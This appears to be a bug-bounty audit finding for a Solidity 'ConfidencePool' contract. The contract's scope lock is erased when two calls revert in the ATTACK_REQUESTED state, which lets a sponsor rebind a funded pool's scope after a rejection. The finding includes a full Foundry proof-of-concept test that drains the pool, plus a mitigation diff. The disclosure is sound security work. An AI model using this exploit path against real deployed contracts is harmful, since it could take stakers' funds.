FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: high
Likelihood: low

`ATTACK_REQUESTED` scope-lock writes roll back, allowing a funded pool's scope to be replaced after rejection

Author Revealed upon completion

Description

Root + Impact

The pool intends to make its account scope immutable after the Agreement leaves pre-attack
staging. In ATTACK_REQUESTED, both explicit observation paths revert after writing
scopeLocked = true, so EVM rollback erases the lock. After a normal registry rejection returns
the Agreement to NOT_DEPLOYED, the sponsor can replace the scope of an already-funded pool.
Existing staker principal can later fund a CORRUPTED payout for a replacement account that those
stakers did not deposit against.

Description

_observePoolState() correctly attempts to lock in ATTACK_REQUESTED:

function _observePoolState() internal returns (IAttackRegistry.ContractState state) {
state = _getAgreementState();
if (
!scopeLocked && state != IAttackRegistry.ContractState.NOT_DEPLOYED
&& state != IAttackRegistry.ContractState.NEW_DEPLOYMENT
) {
@> scopeLocked = true;
emit ScopeLocked(block.timestamp);
}
}

Both available lock-only calls then revert:

function setPoolScope(address[] calldata accounts) external onlyOwner {
@> _observePoolState();
@> if (scopeLocked) revert ScopePostLockImmutable();
_replaceScope(accounts);
}
function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
@> _observePoolState();
@> if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
}

ATTACK_REQUESTED does not set either risk marker. setPoolScope() therefore reverts because it
just set the lock, while pokeRiskWindow() reverts because only the lock changed. Both transactions
leave scopeLocked == false.

The upstream rejectAttackRequest() function explicitly deletes the registration and returns the
Agreement to NOT_DEPLOYED. The sponsor can then call setPoolScope() successfully, provided the
replacement account is in the Agreement's scope. A later approved attack lifecycle and moderator
CORRUPTED decision pays the pool according to the replacement commitment.

Sponsor pause strengthens the path by disabling stake() and contributeBonus(), which otherwise
could incidentally persist the lock. withdraw() remains available and would persist the lock, so
stakers can reduce the risk by monitoring and exiting; this is why likelihood is Low.

Risk

Likelihood

  • Occurs when a funded pool reaches ATTACK_REQUESTED before any successful call persists its scope lock.

  • Occurs when the registry moderator rejects the request back to NOT_DEPLOYED.

  • Occurs when the sponsor replaces the scope before a later approved attack lifecycle.

  • Occurs when the replacement scope is later judged CORRUPTED.

  • Occurs when no successful stake, bonus contribution, or withdrawal persists the lock during the request window, which makes likelihood Low.

Impact

  • Existing stakers can lose all principal and bonus against a replacement account set.

  • The sponsor changes the relied-upon commitment after the Agreement already left pre-attack staging.

  • The maximum loss is the entire balance of each affected pool.

Proof of Concept

Use the primary PoC embedded below. If the reviewer wants to run it, save the code as test/poc/CodexRebuilt_20260712_AttackRequestedScopeLockRollback.t.sol in the target repository and run:

forge test --match-contract CodexRebuilt_20260712_AttackRequestedScopeLockRollbackTest -vvv

Observed at commit 58e8ba4ce3f3277866e4926f3140e597f9554a1e:

[PASS] testRejectedAttackRequestAllowsPostStakeScopeReplacement()
1 passed; 0 failed; 0 skipped

The test funds the original scope, proves both observation calls roll back their lock writes,
models the upstream rejection to NOT_DEPLOYED, replaces the funded scope, and then pays the full
pool on a later replacement-scope corruption. The paused-pool variant is supporting evidence for the same root cause and is not a separate finding.

Full Primary PoC Code

File: CodexRebuilt_20260712_AttackRequestedScopeLockRollback.t.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract CodexRebuilt_20260712_AttackRequestedScopeLockRollbackTest is BaseConfidencePoolTest {
address internal replacementScopeAccount = makeAddr("rebuilt-replacement-scope-account");
address internal honestStaker = makeAddr("rebuilt-scope-lock-staker");
address internal bonusFunder = makeAddr("rebuilt-scope-lock-bonus");
address internal whitehat = makeAddr("rebuilt-scope-lock-whitehat");
function testRejectedAttackRequestAllowsPostStakeScopeReplacement() external {
agreementContract.setContractInScope(replacementScopeAccount, true);
_stake(honestStaker, 120 * ONE);
_contributeBonus(bonusFunder, 30 * ONE);
assertTrue(pool.isAccountInScope(DEFAULT_SCOPE_ACCOUNT), "staker saw original account before deposit");
assertFalse(pool.isAccountInScope(replacementScopeAccount), "replacement not covered at deposit time");
assertFalse(pool.scopeLocked(), "scope starts mutable in pre-attack staging");
address[] memory replacementOnly = new address[](1);
replacementOnly[0] = replacementScopeAccount;
// The agreement leaves pre-attack staging. Both public lock paths observe ATTACK_REQUESTED,
// but both revert after setting scopeLocked, so the write is rolled back.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.ATTACK_REQUESTED);
vm.expectRevert(IConfidencePool.ScopePostLockImmutable.selector);
pool.setPoolScope(replacementOnly);
assertFalse(pool.scopeLocked(), "setPoolScope revert rolled the lock back");
vm.expectRevert(IConfidencePool.RiskWindowNotReached.selector);
pool.pokeRiskWindow();
assertFalse(pool.scopeLocked(), "pokeRiskWindow revert rolled the lock back");
// Simulate the upstream DAO soft-rejecting the attack request back to NOT_DEPLOYED. Because
// no successful pool call persisted scopeLocked, the already-funded pool can be rebound.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.NOT_DEPLOYED);
pool.setPoolScope(replacementOnly);
assertFalse(pool.isAccountInScope(DEFAULT_SCOPE_ACCOUNT), "original account was removed after funding");
assertTrue(pool.isAccountInScope(replacementScopeAccount), "replacement account became the commitment");
// Later the replacement account is the one judged corrupted. Existing staker funds follow
// the replacement scope they did not deposit against.
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
pool.pokeRiskWindow();
attackRegistry.setAgreementState(IAttackRegistry.ContractState.CORRUPTED);
vm.prank(moderator);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, whitehat);
uint256 whitehatBefore = token.balanceOf(whitehat);
vm.prank(whitehat);
pool.claimAttackerBounty();
assertEq(token.balanceOf(whitehat) - whitehatBefore, 150 * ONE, "replacement-scope corruption drains pool");
assertEq(token.balanceOf(address(pool)), 0, "clone fully drained");
assertEq(pool.eligibleStake(honestStaker), 120 * ONE, "staker accounting is unrecoverable after drain");
}
}

Recommended Mitigation

Treat a newly persisted scope lock as a successful observation even when no risk-window timestamp
was created:

diff --git a/src/ConfidencePool.sol b/src/ConfidencePool.sol
@@ function pokeRiskWindow() external {
if (outcome != PoolStates.Outcome.UNRESOLVED) return;
+ bool wasScopeLocked = scopeLocked;
_observePoolState();
- if (riskWindowStart == 0 && riskWindowEnd == 0) revert RiskWindowNotReached();
+ if (
+ riskWindowStart == 0
+ && riskWindowEnd == 0
+ && scopeLocked == wasScopeLocked
+ ) revert RiskWindowNotReached();
}

Add a regression test for ATTACK_REQUESTED -> rejectAttackRequest -> NOT_DEPLOYED and assert that
the pool-local scope remains immutable after rejection, including while the pool is paused.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!